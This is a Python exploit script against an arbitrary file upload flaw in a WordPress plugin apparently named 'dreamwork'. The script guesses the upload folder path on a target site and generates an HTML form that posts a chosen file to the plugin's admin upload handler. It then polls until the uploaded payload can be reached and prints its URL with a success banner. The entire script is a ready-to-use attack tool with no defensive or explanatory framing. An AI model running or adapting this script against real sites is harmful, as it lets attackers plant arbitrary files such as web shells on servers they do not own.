def main(myargs):
    target = None
    cracker = "cracker.html"
    payload = "payload.html"

    if '-h' in myargs:
        print("""
        -t          specify target (do not include 'http://')
                    For example: google.com, google.com,
                                 [ip-address], etc

        -p          specify payload
                    For example: payload.html, test.png,
                                 derp.mp3
""")
        exit()
                                 

    if '-t' in myargs:
        target = myargs['-t']

    if '-p' in myargs:
        payload = myargs['-p']

    if target != None:
        hax(target, cracker, payload)

def initialCheck(target, payload):
    print("Checking for potential payload landing site...")

    test = 200
    for i in range(1, 100000):
        url = "http://" + target + "/wp-content/uploads/dreamwork/" + str(i) + "_uploadfolder/big/"

        try:
            test = urllib.request.urlopen(url).getcode()
        except:
            test = None

        if test != 200:
            return i

    print("Unable to detect potential payload landing site..")
    print("Exiting...")
    exit()
    

def hax(target, cracker, payload):

    payloadLandingSite = initialCheck(target, payload)
    if cracker == "cracker.html":
        htmlFile = open(cracker, "w")
        htmlFile.write("<html>")
        htmlFile.write("<body>")
        htmlFile.write("<form action='http://" + target + "/wp-admin/admin.php?page=dreamwork_manage' method='POST' enctype='multipart/form-data'>")
        htmlFile.write("<input type='hidden' name='task' value='drm_add_new_album' />")
        htmlFile.write("<input type='hidden' name='album_name' value='Arbitrary File Upload' />")
        htmlFile.write("<input type='hidden' name='album_desc' value='Arbitrary File Upload' />")
        htmlFile.write("<input type='file' name='album_img' value='' />")
        htmlFile.write("<input type='submit' value='Submit' />")
        htmlFile.write("</form>")
        htmlFile.write("</body>")
        htmlFile.write("</html>")

        htmlFile.close()
        webbrowser.open_new(cracker)

        stop = False
        test = None
        attempt = 0
        url = "http://" + target + "/wp-content/uploads/dreamwork/" + str(payloadLandingSite) + "_uploadfolder/big/" + payload

        while(not stop):
            print("Checking if payload has landed...")
            attempt += 1

            try:
                test = urllib.request.urlopen(url).getcode()
            except:
                pass

            if test == 200:
                break
            
            time.sleep(3)

            if attempt == 100:
                print("Unable to detect if payload has landed")
                print("Exiting...")
                exit()

        print("\n")
        print("""
   _____ _    _  _____ _____ ______  _____ _____ 
  / ____| |  | |/ ____/ ____|  ____|/ ____/ ____|
 | (___ | |  | | |   | |    | |__  | (___| (___  
  \___ \| |  | | |   | |    |  __|  \___ \\___ \ 
  ____) | |__| | |___| |____| |____ ____) |___) |
 |_____/ \____/ \_____\_____|______|_____/_____/""")
        print("\n")
        print("The payload has successfully landed!!")
        print("To view your payload in action, visit here: ")
        print(url)

def getopts(argv):
    opts = {}
    while argv:
        if argv[0][0] == '-':
            opts[argv[0]] = argv[1]
        argv = argv[1:]

    return opts

if __name__ == '__main__':
    from sys import argv
    import urllib.request
    import webbrowser
    import time

    myargs = getopts(argv)

    main(myargs)
